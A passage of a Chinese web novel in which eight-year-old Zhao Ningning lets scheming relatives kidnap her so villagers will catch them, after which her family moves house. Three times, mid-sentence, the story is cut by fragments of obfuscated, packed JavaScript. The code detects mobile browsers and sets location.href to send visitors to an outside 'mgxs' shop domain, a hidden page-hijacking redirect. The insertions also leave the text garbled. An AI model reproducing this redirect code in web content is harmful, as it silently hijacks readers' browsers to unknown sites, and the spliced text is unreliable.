RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229736|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竹筒。 “来,喝点水吧。” “谢谢舅舅!”赵宁宁甜甜地道完谢,接过小舅递来的竹筒,打开盖子抿了一口。 周剑拿出另一个竹筒,两人喝完水,赵宁宁说:“舅舅,待会赵家那两人会来山上抓我。” “什么?!”周剑听到这话,手里的竹筒都抖了一下,撒出不少水。 临上山前,他娘可是交代好几次,一定要看好五丫,防的就是赵家那两个老虔婆。 “你别急,听我说。”赵宁宁把竹筒盖扣上放在小篮子里,“如果她们来抓我,你就让她们抓,我可以保护自己不受任何伤害……” 接着,赵宁宁便详细地讲了一下她的主意。 周剑听完,起初坚决反对,赵宁宁再三保证自己有保命的手段,遇见危险可以及时逃脱,周剑脸色才缓和一点。 详细规划好时间节点,赵宁宁从地上爬起来拍拍身上沾的草,“要是我娘在,她也会同意的,小舅舅你就放心吧!” “要是这事儿办成了,以后你就可以常来找我玩了!” 周剑点点头,又摇摇头,道:“我才不是因为这个才帮你。” 要是事成,姐姐一家就可以顺利摆脱老赵家,他和娘也可以常去探望姐姐了…… “行,舅舅帮你。”周剑下定决心。 “来,击个掌!”赵宁宁伸手,周剑见她这样,迟疑地伸出自己的手。 赵宁宁直接用手拍过去,响亮的巴掌声音过后,山下传来窸窸窣窣的声音。 “嘘!”周剑下意识将赵宁宁护在身后,警惕地朝山下看去。 钱婆子和孙氏正在吭哧着爬山。 “咱们从那边走。”赵宁宁指指路,周剑点头,两人小心地往山上走,跟她们俩拉开距离。 现在“被抓”还太早,赵宁宁的主线任务是找冰粉籽草,有周剑帮她放风警惕着,她拿着小木棍放心地在山上搜罗。 日上三竿,太阳毒辣无比。 就在赵宁宁要放弃这个苦差事时,突然瞥见一个卷了边的叶子形状跟书里有点像。 她顿时停下脚步,用棍子轻轻拨开这个植物四周的杂草,蹲下来仔细比对。 跟书上的样子基本一致,只是因缺水和日晒,让叶子周围有些焦黄卷曲。 赵宁宁回想了一下,刚才来的路上她也看到过类似的植物,只是因为干旱大变样,她没认出来,这一株长在岩石下方,有个大石头将中午最毒辣的太阳给遮住,这才旱的没有那么严重。 小心翼翼地将它连根挖起来,赵宁宁捏开一个果实包,里面的籽差不多已成型,想想这个季节也快到它成熟的季节,赵宁宁把它的籽小心收起来。 “舅舅,应该就是这个了。”赵宁宁将连着土块的假酸浆草递给周剑。 周剑忙不迭地把背篓放下,小心接过,放进背篓里。 待会赵宁宁还要跟孙氏和钱婆子两人周旋,只能让周剑把这株植物给带回去。 任务完成,趁这两人还没追上来,赵宁宁放松地坐在岩石下方,趁着阴凉休息。 周剑归置好这根草之后,从背篓底下拿出早上烙的饼,又摸出一小罐咸菜,变戏法一样掏出一双筷子,让外甥女夹咸菜卷饼子吃。 赵宁宁感动得不行,还是小舅舅靠谱,她妈都没想到给她准备干粮! 宁妈冤得不行,她哪能想到如今身体年龄才八岁的赵宁宁这么能跑,她想着赵宁宁跟周剑一起找一上午便回家了。 吃过卷饼,又喝了点水,两人歇到日头开始微微偏西,都不见钱婆子和孙氏。 难不成那俩人跟丢之后回家了?赵宁宁用手挡着眼,仗着地形优势在山上张望,远远地才能瞧见半山腰处有两个色彩不甚明显的小点。 ——原来是她们俩爬山爬得太慢。 赵宁宁放心地回去休息。 未时正,算算时间,差不多该下山了,赵宁宁起身,在一旁的周剑立马紧张地跟着起来。 “宁宁,是要行动了吗?” “嗯!”赵宁宁冲他点点头,“我妈……我娘今日应该在申时正回来,这中间差不多一个时辰,够你带村里人来山上找我了。” 周剑紧张地咽了口唾沫,他今年才十五周岁,小外甥女却将自己的性命交予他的手里。 少年紧紧握拳,“好!” 话音刚落,山下的交谈声便传了过来。 第12章 被抓走了! “那死丫头可真能跑!”钱婆子扶着树,哎呦哎呦地叹气,她实在是累得不行了,中午还没吃饭,若不是这几日在家一直蹲守都没机会接近赵宁宁,她早就想转头下山一走了之了。 “娘,娘!”孙氏激动地拍拍钱婆子的胳膊,指着山上某处:“你看!那是不是五丫!” 两人头凑在一起往孙氏指的方向看,果真有一个小小的身影正在那埋头吭哧吭哧挖着什么东西。 她俩顿时像喝了琼浆玉露一般,也不嫌累,也不嫌热了,钱婆子双眼紧紧盯着那个小小的身影,四肢并用地向上爬。 ——这一次一定要抓到那个丫头! 为了方便她俩行事,周剑远远便躲开,见外甥女跟她们碰面后没说几句话便被绑起来,没有挨打,他这才放下心,脚步飞快地往山下跑。 刚到村子,村里坐在树下闲扯的汉子们见这小子跑得跟狼追一样,忙把他叫停,问他为何跑得这般快。 周剑一副急得要哭出来的样子,说自己一早跟外甥女上山挖野菜,没想到两人走散,他找了找没找着人,赶紧下山回来喊人帮忙。 村里丢了娃娃可是大事,树下的汉子们也不闲扯了,抓住他胳膊问清方位,忙回家里去招呼其他人。 等周剑跑回家跟亲娘说清外甥女的计划,何氏听后一巴掌抡在他背上。 “你怎么敢的!”何氏又急又气,“她才八岁!” 万一出个什么意外,这可是一条人命! 周剑喏喏,“可是宁宁说……” “别可是了!走!赶紧进山去找她去!”何氏把手里的活计一放,匆匆锁好门,带着傻儿子一同上山。 最近不是农忙,村里大部分汉子都外出找活计去了,村里集结了七八个汉子出来,连平日里常上山的妇人,都出来了五六个。 见这么多人来帮忙,何氏心中的感激无以言表,拉着周剑先跟人家道了谢,这才让周剑领路,带着人上山去找宁宁。 早一分找到,赵宁宁便能少遭一点罪。 ——可不是遭罪么! 赵宁宁嘴里被塞了一块破布,钱婆子塞的时候用了极大的力气,撑得她嘴角都快裂开了。 因为怕她半路逃跑,她们俩还把自己给塞进背篓里,怕被人发现,还在背篓上面塞了一堆枯枝,还有刚刚自己在地上挖的野菜。 蜗居在这个背篓里,赵宁宁是又闷又热,嘴角还痛,只能祈祷自己的小舅舅靠谱一点,早点带人过来“找到”她。 一行十来个人浩浩荡荡上山,一边找一边喊。 有妇人安慰何氏:指不定是丫头在哪处挖野菜挖累,睡着了呢。 何氏冲她笑笑,心里却无比焦急。 按照周剑说的,那俩人应该快走到山腰处了,怎么都上山快一个时辰了,还没见着人? 背着二十来斤的东西,还是走下山路,孙氏走路直打飘,若不是一边有婆婆拦着,她早带着一筐东西钻进沟里去了。 绕是这样,两人下山也跌了好几跤,赵宁宁在背篓里已经开始后悔今天出这个主意了。 哐当一下,孙氏又跌坐在地上,背篓里赵宁宁的头猛地一磕,疼的她泪花都冒出来了。 “你怎么这么不中用!”钱婆子低声骂道,伸手把孙氏扶起来,“快走,不然一会天凉快,村里人就多了。” ——任谁背着这么重的箩筐都没法子走快!能走稳都不错了,婆婆净是站着说话不腰疼。孙氏扶着腰,喘气道:“不行了,娘,让我歇一会。” 见大儿媳累得都快昏过去了,钱婆子大发慈悲,“行,你歇会。” 她帮着孙氏把背篓卸下来,两人刚坐在地上,钱婆子脸色一变。 “你有没有听到什么动静?!” 她倏地站起来,往四周看去。 “什么动静啊?”孙氏累得心跳如擂鼓,汗水从眼皮滴进眼里,压根睁不开眼,也无心管其他的。 “有人!” 钱婆子支着耳朵听了又听,脸色越发难看。 “走!快走!”她一把拉起地上的孙氏,催促道:“村里来人在找这个丫头!” 听见这个消息,孙氏大惊,也顾不得休息,忙将背篓背起来,扶着婆婆往另一条路跑。 她们为了今日可是苦等了好几天!眼见银子就要到手了,可不能在这个地方功亏一篑。 十几人散布四处,如同渔网一般将整片山林都给筛了一遍。 到半山腰处,仍未见钱婆子她们两个,何氏的神情越发严肃,她扯过儿子到一边,问:“你说的方向对吗?” “对的呀……”周剑挠头,“宁宁就是在那处……不见的,若是下山,她肯定往这边走的。” “你也说是宁宁下山……”何氏不安地来回摩挲着两只手,她作为一个寡妇,在村里孤立无援地将孩子抚养长大,其中是要不少生存的智慧。 “不对,她们还可能往另一条路走!”何氏咬牙:“毕竟是干亏心事,听见有人找,肯定是往其他方向跑了,咱们在这是找不到的!” 百密一疏! 周剑小小的脸上顿时被吓得毫无血色。 既然有这个可能,何氏忙叫住几个离得近的汉子和妇人,让周剑留在这边,她跟着几人往另一个方向去找。 周剑本想跟上亲娘,却被她用眼神制止了。 另一边。 赵宁宁在背篓里颠来颠去,正在想等会该怎么演戏,没想到原本还能模糊听见有人在喊自己名字,越走越听不到动静。 天地一片寂静,只能听到林间聒噪的夏蝉声,还有孙氏呼哧呼哧的喘气声。 不对劲。 赵宁宁瞪大眼,想到了一个可能——这俩人绕路了! 这下有些棘手了,如果小舅舅找不到她,就只能执行另一个计划:在通往镇上的路上堵人。 希望她的好舅舅能早点反应过来,及时带人去堵路吧。 不然只能被“卖”进孙家之后,利用空间来逃脱了。 赵宁宁在心里祈祷。 或许是她的祈祷起了作用,不多会儿,她听到了远处呼喊的声音。 “怎么办!”孙氏喘着粗气,扶着婆婆的手有些发抖,“他们要追上来了!” “别急!让我想想……”钱婆子咬着牙,一双眼睛滴溜转,眼看到前面出现一处平地,她拦住孙氏,“停下来。” “别啊!”孙氏急道:“再不跑咱们就要被他们追上了!” “你懂什么!”钱婆子扇了她一巴掌,“听我的,快点!” 婆婆平日哪打过自个儿,孙氏愤愤扔下背篓,里面的赵宁宁顿时遭到一记暴击。 钱婆子拉过她,低声交代:“反正跑不过他们,我们不是有背篓吗?等会你就这样……” 越往前何氏心里越没底,都走两刻钟了,还没见着人影,今天恐怕是没法跟女儿交代了…… 正在何氏心底焦急万分的时候,走在最前面的一个汉子大声喊了一嗓子,“前面有两个妇人!” 虽然不是五丫头,这行人也打起几分精神来,万一那两个妇人见过五丫头的踪迹,就能顺着线索去找了。 闻言,何氏精神一震。 ——两个妇人? 快步上前,果然,在这个缓坡后面的平地上,钱婆子和孙氏正坐在地上喘气。 见来人,钱婆子还故作惊讶道:“你们怎么这么多人上山来?” “原来是钱婶子。”领头的汉子拱手,“你家五孙女儿在山上走丢了,你不知道?” “走丢了?”钱婆子惊讶,“我不知道啊?我跟大儿媳上午闲着没事,带了箩筐来进山挖野菜来了。” “你们没见过那丫头吗?”队伍里的妇人问。 “没有啊?”钱婆子说:“山上没什么野菜,我年纪又大懒得走远,就在这山坳里挖了一些。” 众人瞥了眼她们的箩筐,半人高的箩筐里,塞了一堆干枯的细枝,只有顶上那一点放了十来棵野菜。 见村里人看向自己身后背篓,孙氏声音微微发抖着附和道:“是……是呀,我们没、没见着那丫头。” “或许是在哪睡着了吧,这丫头,干活净会躲懒!”钱婆子还不忘谴责。 “你们在山上这么久,就装了点引火的软柴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229737|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和这点野菜啊?”何氏撵上队伍,从后面慢慢走上来。 蘸蘸额头急出来的汗,何氏不住地看向背篓。 如果不出意外的话,赵宁宁就在那里面! “我们两个妇人,又走不快,在山上捡点柴火怎么了!这山又不是你一家的!” 钱婆子跟何氏这个亲家不太对付,何氏一出声她便怼了回去。 “没什么,就是怎么看,你们这箩筐里好像装了活物?”何氏说着,探身往孙氏背后看。 “什么活物!”孙氏吓得手抖起来,她指着何氏,“何雁,你莫要胡说!” “我也瞧见,那背篓竟然会动。”后面的妇人跟自家汉子交头接耳。 听到这话,钱婆子脸拉下来,随即想到什么,伸腿踢了一脚箩筐,她腼腆一笑:“那不是运气好,今日上山逮了只兔子……” 村里人都穷得掉牙,这时节在山上能逮到兔子,瞒着村里人带回家开小灶,也是人之常情。 众人或嫉妒或羡慕,钱婆子又催促道:“你们不是要找五丫头吗?怎么不去找了?” “哎,那丫头也不知跑哪去了,咱们还是快些去找吧,不然天黑了她就危险了……” “什么兔子,能踢得动半人高的大背篓?”何氏冷笑,“我还没见过呢,要不你让我们开开眼?” “何氏!”钱婆子拧起眉,“你别太过分!” “就是啊,何婶子,人家家里的兔子,咱们闹着要看,不太好吧……” 何氏躲开来劝她的手,“我怎么好像听到宁宁的声音从背篓里传出来了?” “不可能!”钱婆子下意识反驳。 孙氏紧紧挡住背篓,气氛一下子便剑拔**张起来。 “是吗?”何氏叉腰,“就一只兔子,大家伙也不是没见过世面的,你那么护着干什么?是不是五丫头就在那里面!” “分家前,你们还要把宁宁绑了卖去孙家呢!” “日头这么烈,你们两个懒婆娘怎么会这个时间上山,还这么凑巧地跟在五丫头后面上山。” 这番话一出,跟着何氏来找人的汉子妇人们也察觉出了一些不对劲。 都不说这日头了,十几棵野菜,一篓子柴火,正常妇人家一个时辰便能搜罗完下山。 她们两个,一个一把年纪了,一个整日在家躲懒的妇人,怎的今日这般勤快着上山?又费了好几个时辰的功夫才搜罗这点东西? 不对劲,十分不对劲。 “要不你就打开篓子让何婶子瞧瞧,也算让她安心了。”汉子劝道,“看一眼没有,我们还要接着去寻人呢!” “凭什么!”钱婆子护住背篓,心里将何氏祖宗十八代全给骂了一遍。 “让我们看看,又不会少你一根兔毛。”队伍里的人催促:“快些快些!这破天热死个人!” “钱氏,你这样拦着我们,难不成五丫就在这个背篓里?!” 何氏不想再跟她费口舌功夫,天这么热,五丫还那么小,万一在背篓里闷晕过去可怎么办! 钱婆子脸色铁青,指着何氏道:“行!要看便看!若是里面没有五丫,你今日要跪下来给我磕头!” 狠话一放,村里人脸上表情精彩纷呈,有人想劝何婶子别冲动,却被何婶子给轻轻挡了回去。 ——救外孙女要紧! “磕头就磕头!”何氏一口答应。 钱婆子将身子让出去半个,孙氏看向婆婆,还想再拦一下。 何氏顾不得其他,上前几步推开孙氏,将背篓里的野菜和柴火往外拿。 没有。 没有?! ——怎么回事!? 一直到掏空了背篓底部,除了一只巴掌大的灰兔,背篓里再也没有其他东西。 难道她们让其他人把五丫头绑走了? 何氏脸色煞白。 “看也看了,里面什么都没有,你是不是该跪下来给我磕头了!”钱婆子语气不善。 孙氏心跳如擂鼓,偷偷地看了好几眼身旁的婆婆。 ——果然!还是得听婆婆的! “怎么会!”何氏摇头,“不对,肯定不对!” 第13章 宁宁在哪?! “钱婶子,刚刚何婶子她也是一时情急……” 村里人劝道,磕头可不是件小事,都是一个村的,能消解这事儿便消解这事儿,他们不想闹大。 “呵!刚才还答应的好好的!”钱婆子占据上风,斜睨着看了何氏一眼,抱怨:“何雁,你也是一把年纪当娘的人了,分不清大小王地在这儿闹,净浪费大家伙的功夫!还往我身上泼脏水!” “好好的一筐柴火,被你弄出来又要重新装进去……”孙氏一遍嘀咕,一边抓着地上的细枝,往箩筐里放。 “本来上山找人就累,还是这么热的天气……” 谴责的声音从四面八方传来,何氏的头一阵阵发晕。 ——不对。 看着孙氏手中的软柴,何氏晕眩的大脑似乎闪过什什么。 ——不对! 何氏想到了,她脑中的混沌顿时散去,眼前一亮。 这些软柴明显跟这块平地附近掉落的枝子一样!何氏抬头扫了一眼四周地面,这里有几棵野桃树,早就过了结果的季节,桃枝上的叶子有晒焦飘在地上的。 孙氏往箩筐里装的软柴里,混的就有桃树叶! ——外孙女肯定还在附近! 见何氏不说话,只四处打量,钱婆子警惕起来,嘴上催促道:“快点跪下磕头!难不成你想赖账!” “别着急呢!”何氏说:“五丫就在这附近!” 听到这话,钱婆子和孙氏俱是一顿。 树林中顿时安静下来,只有风穿过树叶,发出簌簌地声音。 “姥——” “姥姥救我——” 树叶摩挲的声音夹杂着赵宁宁细微的声音从附近传来。 钱婆子脸色顿时变得灰白一片,这下完了! 孙氏更是双腿一软,直接跪在地上。 听到五丫的声音,众人连忙四处寻找,最后还是何氏,在一棵树下微凹的地方,将赵宁宁从一堆枯草树叶中扒拉出来。 赵宁宁整身衣裳都被汗湿透了,见到何氏,看到她身后站着的村民,赵宁宁发挥演技:“姥姥——你可算来了!” “她们两个趁我小舅舅走远,直接把我绑起来了!还把我嘴堵着不让我说话!”赵宁宁哭。 她本以为自己能被舅舅顺利在背篓里找到,压根没想到中间出了意外——钱婆子把她给放在凹坑里,用树叶子给埋着了! 双手双脚被绑着,赵宁宁听到远处的说话声,奋力地用嘴往地上蹭,好不容易才把堵嘴的破布给扯下去的! 外孙女脸上都是土渣,何氏心疼得不行,越急越慌,她手抖了好几次,都没能给五丫将绳子解开,还是旁边的妇人接过这个活计。 松了绑,赵宁宁扑在何氏怀里哭泣,“姥姥!她们要把我给绑走卖掉!呜呜呜……” “你们怎么!”汉子怒然回头,结果发现刚才还在原处的两人不知何时消失在了原地。 “她们跑了!” “老四,你去通知另一队,其他人跟我一起,追!” 村民留下来两个妇人陪着何氏,剩下人全都追了过去,钱婆子边跑边骂,孙氏抱着背篓摇摇晃晃地缀在后面,眼看要被追上,只能不舍地将背篓给丢掉。 即使这样,刚到村里,她们还是被撵上了。 男人不好下手,队伍里两个妇人走上前去,一人扯着一个,直接将人给扯到里正家去。 酉时不到,宁妈从县城赶回来时才知道,女儿今天干了件惊天大事。 赵宁宁已经被疼爱她的姥姥给带回去洗了个热水澡,又换上昨天刚做好的新衣服。 跟着去找她的妇人心疼她,偷偷给她手里塞了一块饴糖让她舔,赵宁宁对这个妇人笑笑,歪在姥姥怀里,静静等着里正“升堂”。 “宁宁!宁……”宁妈冲进来,见宁宁没事,仍是抱着检查了好一番,确认她没有缺胳膊少腿,才将人放下,嗔道:“就你能!” “娘……”赵宁宁用自己的小手握着她的手,“接下来就该你发挥了。” 宁妈收起好脸色,看向院里站在墙角的那俩人。 只有千日做贼,哪有千日防贼道理。宁宁今日吃了大苦头才将这把刀把递在她手心里,没道理不趁这个机会狠狠地剁下来她们一块肉! 得到消息的赵老头也赶了过来,老赵家大房、三房的人全赶来了。 接下来的大人吵架,赵宁宁不便参与其中,她被小舅舅和哥哥护送着回家,里正还派了两个妇人一起在赵宁宁家陪她,对方见天色不早,贴心地从家里端来了汤面,三个孩子抱着碗蹲在一起,呼噜呼噜小猪一样地喝完,又凑在一起慢慢劈柴。 妇人见赵宁宁这般懂事可爱,心里不禁唾弃:不知道钱氏怎么想的!三番几次地要害这么惹人怜爱的孩子! 吵架的过程赵宁宁无从得知,但吵架的结果赵宁宁第一个体会到了——她们家,要搬家啦! 也不知姥姥是怎么跟里正掰扯的,老赵家之前写的欠条直接不作数,还得捏着鼻子把土房子给收走,给自家一两银子贴补。 村里人七嘴八舌地替赵宁宁一家子选好了新住处,那是前两年有户人家女儿外嫁,他们担心女儿,变卖了家产,直接搬迁到隔壁县城了。 一个小院落,四间屋,一个厨房,房子半新不旧,里正做主租给赵宁宁一家住,一个月收三百文,村里人没什么异议。 都不用隔夜,村民直接上门,连根柴火都不落地给赵宁宁家搬到了新住处。 新住处也在村西,离赵宁宁姥姥家还挺近的,半砖的房子要比之前的住处牢固不少。 只是有两年没人住了,屋里灰尘比较多,何氏直接带着两个小子帮忙把屋内外给打扫出来,另一边,宁妈抱着两只鸡,赵宁宁拎着自己的小包袱,直接“拎包入住”了。 村里人一直折腾到戌时才走,他们走后,何氏坐在床边,把早晨摊多的饼子塞在女儿手里。 “下次可别让五丫这样行事了。”何氏想起来都后怕,如果她没能及时发现赵宁宁,赵宁宁万一被这两个黑心婆子拐卖到其他地方,他们再也找不到怎么办? 宁妈虽然知道赵宁宁还有空间这个大杀器在,仍是一阵心有余悸,她安抚地笑了笑,说:“娘,我待会就去揍她!” “那还是算了。”何氏捏着手里的饼子,“她今天受了惊吓,你晚上多留意着些,别吓发热了……” 絮絮叨叨交代了许多,最后何氏还将周剑留下来,跟孙子挤一张床。 赵家人这样不干人事,女婿又不在家,她担心晚上不安全,留着儿子在,有什么事也能多个人支应。 对于何氏的贴心,宁妈只能先欠着,等回头宁爸回来,一家人一起好好聚一聚。 送走何氏,宁妈回家关上门。 “赵宁宁!你给我出来!” 虽然赵宁宁极力解释,屁股依旧被宁妈揍了个开花,连平日里最疼爱她的哥哥都没能拦得住。 扶着小腰,赵宁宁朝小舅舅哭诉:“下手可真狠,我为了这个家我容易吗……” 宁妈作势还要打,吓得赵宁宁赶紧往院里跑。 周剑也不拦,结结巴巴地冲东躲西藏的赵宁宁说:“小外甥女啊,下次这种事,你就别找舅舅了。” 还好今天没回家,不然他的屁股也要跟外甥女一样开花了。 赵宁宁躲来躲去,最后躲回了自己的新房间,这才消停下来。 被褥是姥姥拿来的,赵宁宁往床上一扑,幸福得快要晕倒了。 这下子算是彻底跟老赵家分割开了,赵宁宁起身把房门闩好,点开系统面板。 办大事归办大事,今天可是她三天一度的捡破烂日,赵宁宁回到电梯厅,点开小区,选中自家楼栋,点击探索。 系统弹出来提示: 【系统:探索完毕!捡到垃圾一袋,是否现在打开?是/否】 紧张地搓搓手,赵宁宁闭眼祈祷了一圈各路神仙,这才点击【是】。 白光一闪,赵宁宁眼前出现一包黑色塑料袋。 塑料袋有半个赵宁宁这么高,里面的东西凹凹凸凸的,看上去极不规整。 赵宁宁想到自己第一次捡到的那袋垃圾也是这样凹凸不平的,祈祷着说:“别啊!别又是建筑垃圾啊……” 对着袋子双手合十之后,赵宁宁解开上面的死结,往里探头。 里面是三个大小不一的塑料花盆,闻上去并没有异味,赵宁宁伸手拿出来一个仔细看:花盆通体绿色,因着被太阳晒得久了一些,边缘有深浅不一的缺损,轻轻一碰就碎了。 花盆里还有半盆基质土壤,土里缠绕着植物的根系。 赵宁宁挨个掏出来,这袋垃圾除了三个花盆以外,底下还有半袋磷钾肥,看袋子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229738|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上也被晒得有些褪色,赵宁宁推测这袋肥料应该是跟着花盆一起买的。 应该是谁家植物**丢出来的。 想到哥哥今天还有一次修复机会,赵宁宁把花盆放下,拉开门去找赵启。 赵启也正要去找宁妈,赵宁宁直接跟着去宁妈的西侧侧间,宁妈门敞开着,从外往里看过去,她正弯着腰忙忙碌碌在铺被子呢。 “妈~”赵宁宁喊,顺便把门给关上。 “我刚刚捡垃圾捡到了三个花盆,要不要让哥哥试着修复一下?” 进门前她就问了哥哥,她哥技能还在,白天想着晚上回去一起商量,结果一到家就被喊去里正家,三个人一直忙到现在才有空说话。 “小启,你说呢?”宁妈看看赵启,“妈支持你自己的想法。” 赵宁宁也看过去。 “那当然是修花盆了。”赵启伸出一只手指挠挠后脑勺,“反正其他东西也没有什么好修的。” “嘿嘿~”赵宁宁笑的像偷到灯油的小老鼠一样,她将花盆从空间拿出来,放在地上。 “谢谢哥!” 赵启不跟妹妹客气,见花盆拿出来,伸手召唤面板,确认物品,选择修复。 一个只有他能看到的提示出现。 【系统:恭喜宿主触发修复暴击!花盆品质提升!】 赵启睁大眼,看着面板不可置信地说:“系统说我……触发了暴击?品质提升?” 与此同时,赵宁宁和宁妈同时看到花盆上多出来一个像是游戏里的按键一样的东西。 赵宁宁直接伸手点了点,感叹号展开,显示出花盆详情。 【花盆:初级种植容量:1生长速度提升20% 这是一个什么都能种的花盆哟~勤劳的人类,快用种子投喂它吧~】 三人对着这个花盆稀罕了好一会,才让赵宁宁给收回空间。 新家、新床、新褥子。赵宁宁一口气睡到七点。 家里有了新厨房,把铁锅网上一架,早上起来烧上两锅水便够用一天的。 宁妈刚把火烧上,周剑听着动静来了。 “你怎么不多睡会儿?”宁妈拍拍手,往锅里舀水,这水还是昨晚热心的村民给担回来的。 “睡醒了就起了,姐,我来给你烧火。”周剑从容地走到灶台后面,坐在小板凳上熟练地往灶洞里放柴。 “行,你先烧着,我去发面,今天早上给你们几个做饼吃!”宁妈把水添好,盖上锅盖,到堂屋里提了一小袋面粉过来。 见姐姐往外舀的是白面,周剑“腾”地起身阻止:“姐!早上随便吃吃就得了,怎么还吃上白面了?!” 宁妈笑笑,“你只管吃就行,半大小子,正是长身体的时候,你跟小启还有宁宁都瘦得跟麻杆似的,多吃,姐能养得起!” 如此豪言壮语,周剑摸摸鼻子,讷讷坐回去。 ——算了,等收粮食的时候多给姐姐家干点活。 两人不在说话,宁妈将面粉舀入陶锅内,加水加酵母和成面絮,最后揉成光洁的面团,用锅盖盖了放在一边醒着。 铁锅里的水烧开,宁妈用葫芦瓢往水桶里舀水,对这个铁锅满意极了。 不用像前几日那样苦兮兮地守着小泥炉烧水,也不用担心赵家的人会突然敲门找上来,宁妈松弛地干活,烧完两锅水,又用新铁锅烧了一锅粥。 灶洞有三个,宁妈琢磨着再买两个锅,这样就能一边煮粥,一边炒菜。 第三个洞连着两边的灶眼,热烟从锅底下一过,有时都能将水烫沸,家里日常喝的水也有地儿放了。 赵宁宁起来的时候,宁妈烧好的水凉的差不多能用了,她打着哈欠去洗漱,收拾好自己后,回房关好门,进空间拿出十包冰粉籽分成两份倒进纱袋里先去泡上。 一会的功夫,宁妈已经用铁锅烙了十几个饼子出来,赵宁宁手净,帮着将饼子拾出来,放到一边的案板上晾着。 “家里没菜了,今天早上就炒个小白菜。”宁妈动作麻利,说话间,铁锅已被她洗好,一勺猪油下进去,厨房登时变得喷香无比。 火烧得差不多够用,周剑帮忙把饭端去东侧间,这是赵宁宁家里的堂屋。 炒菜声音大,睡美了的赵启这才醒过来。 四个人坐在堂屋吃得惬意极了。 赵宁宁捏着宣软的饼子,感叹道:搬家真好! 第14章 有人买粮,有人数钱 秋收之前,宁爸得到程医生准许,终于可以从县城搬回来王李村了。 听媳妇孩子们念叨半个月的新家,他早就心痒痒想回来看看是什么样的。 中间他嫌无聊,还问医馆里的学徒要来了医书,比对着脑海中的记忆学了学,巩固知识,顺便认认这古代的字。 后面又用技能在医馆钓点钓了几次东西,除了零碎的药材之外,只钓到了两次程医生的医术知识。 坐着村里的牛车,宁爸乐呵地抱着他在县城鸡零狗碎攒出来的行李,被直接拉到了家门口。 他这一出去半个月,村里人都默认以为他是去打短工,没成想看见他坐着车回来,脸上多了圈肉不说,皮肤还白嫩了许多。 扛着稻谷的邻居小心将谷子卸在路边,用脖子上的汗巾擦擦汗,攀谈道:“赵老二,你没去打短工啊?” “唉——”宁爸长叹一口气,随即道:“我也想去,但人家主家不要我这种瘸腿的。” 这倒也是,买鸡仔还要挑好活的买呢,更何况雇人干活?谁不想要一个四肢健全的。 “所以我媳——我娘子一咬牙,借钱将我拉到医馆去看腿了。”宁爸半真半假地演戏:“一开始医馆都不肯让我们进去,跑了好几家,这才找到一家,说是一边交钱一边治,这不,钱都花没了,剩下我只能在家自个儿养着了。” 村里人听了唏嘘无比,他们平时头疼脑热,都自己上山揪几个药草糊弄糊弄,能好便是扛过去,不好才考虑去医馆。 那医馆跟吃银子的貔貅一样,进去一下就得刮一层皮,这下,村里人看宁爸的眼神多有同情。 忽悠完村里人,宁爸拄着拐,咯噔咯噔往屋里去了。 这次治病可是糟了大罪的,他现在半条腿都还绑着木板,古代没有石膏,他可不敢乱动弹不尊医嘱。 赵宁宁都把摆摊的东西往屋里搬完了,见宁爸回来,忙把堂屋的条凳搬到院子里,扶着他坐在厨房门口。 大门虚掩着,宁妈从厨房出来,给三人手里一人塞了一碗凉白开。 这是早上出门前烧了放在锅里的,现下喝刚刚好。 喝完水,宁妈合计道:“家里现在存银差不多有个六两,应急暂时够用了,粮食也够吃,你们看看还有没有什么别的东西要添置的?” 赵宁宁第一个举手:“架子!我要货架!” 她的六平米小电梯厅快塞不下了! “行。”宁妈点头,又看向家里的另两人。 “我想要个桌子。”赵启说:“放房间里,我能折腾一下妹妹淘出来的东西。” 赵宁宁这半个月可是捡了不少破烂,她甚至还捡到了一把包着胶带的生锈剪刀,让赵启拿走修复成普通剪刀了。 除了日常能用到的,她捡到的最多的便是建筑垃圾,她挑能用到的电线和铁丝留下,剩下分门别类地收拾好,都在电梯厅里堆着。 宁妈准了儿子的请求,又问宁爸。 宁爸摇头,后又想了想,说:“给我整个那个,瘸腿了能划拉着走的滑板车,你看成不成?” “咱们住在村里,地面凹凸不平,你用这个还不如用拐杖。”宁妈驳回,又说:“给你去打两个高脚凳放家里,这样你可以坐高一点,腿不用窝着。” 盘点好之后,宁妈宣布散会。 宁爸回家了,冰粉生意还是要做的。 赵宁宁大部分时间都跟着去县城,有她在,可以用空间**让家里人省点力气。 宁妈如往常一样,将摊子支起来,却不见旁边的卷饼摊。 曹娘子做热食生意的,她一般早早便来了,赶一波早市生意。 今天都快十点,她才匆匆推着小车过来。 宁妈帮她占的有位置,见她来,把桌板往一边挪挪,两个小摊位挤在一起,曹娘子冲宁妈笑笑。 等卷饼摊支好摊子烧上火之后,宁妈才问:“曹娘子,你今日怎么巳时都过去大半了,这才过来?” 曹娘子空出手擦汗,擦过之后,用袖子挡住脸看了看周围,这会子食客少,周围摊子都没几个人,她压低声音说:“是家里有点事。” 